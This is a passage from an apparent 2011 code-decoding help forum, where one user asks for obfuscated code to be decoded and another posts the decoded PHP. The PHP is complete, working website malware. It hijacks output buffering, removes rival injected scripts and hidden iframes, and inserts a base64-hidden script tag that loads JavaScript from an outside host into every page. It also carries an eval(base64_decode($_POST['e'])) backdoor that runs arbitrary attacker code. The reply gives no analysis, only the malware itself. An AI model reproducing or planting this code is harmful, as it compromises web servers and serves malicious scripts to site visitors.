Help| Decode text

[ChaoscripT]

@johnburn, Many thanks KING!

Please if you can help me with this code too,
http://paste.org/pastebin/view/37506

Regards.

ChaoscripT Reviewed by ChaoscripT on 23rd Aug 2011. Help| Decode text Hi, Please help me to decode this code: Regards. Rating: 5

[Loonycgb2]

<?php
if (!function_exists('cdnlk')) {
    function cdnlk($s)
    {
        if (preg_match_all('#<script(.*?)</script>#is', $s, $a))
            foreach ($a[0] as $v)
                if (count(explode("\n", $v)) > 5) {
                    $e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v);
                    if ((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write')))
                        $s = str_replace($v, '', $s);
                }
        if (preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
            foreach ($a[0] as $v)
                if (preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i', $v) && !strstr($v, '?' . '>'))
                    $s = preg_replace('#' . preg_quote($v, '#') . '.*?</iframe>#is', '', $s);
        $s = str_replace($a = base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3dyaXRlcnNwbHVzLm9yZy9hZG1pbmlzdHJhdG9yL3JvYm90cy5waHAgPjwvc2NyaXB0Pg=='), '', $s);
        if (stristr($s, '<body'))
            $s = preg_replace('#(\s*<body)#mi', $a . '\1', $s, 1);
        elseif (strpos($s, '<a'))
            $s = $a . $s;
        return $s;
    }
    function cdnlk2($a, $b, $c, $d)
    {
        global $cdnlk1;
        $s = array();
        if (function_exists($cdnlk1))
            call_user_func($cdnlk1, $a, $b, $c, $d);
        foreach (@ob_get_status(1) as $v)
            if (($a = $v['name']) == 'cdnlk')
                return;
            elseif ($a == 'ob_gzhandler')
                break;
            else
                $s[] = array(
                    $a == 'default output handler' ? false : $a
                );
        for ($i = count($s) - 1; $i >= 0; $i--) {
            $s[$i][1] = ob_get_contents();
            ob_end_clean();
        }
        ob_start('cdnlk');
        for ($i = 0; $i < count($s); $i++) {
            ob_start($s[$i][0]);
            echo $s[$i][1];
        }
    }
}
$cdnlkl = (($a = @set_error_handler('cdnlk2')) != 'cdnlk2') ? $a : 0;
eval(base64_decode($_POST['e']));
?>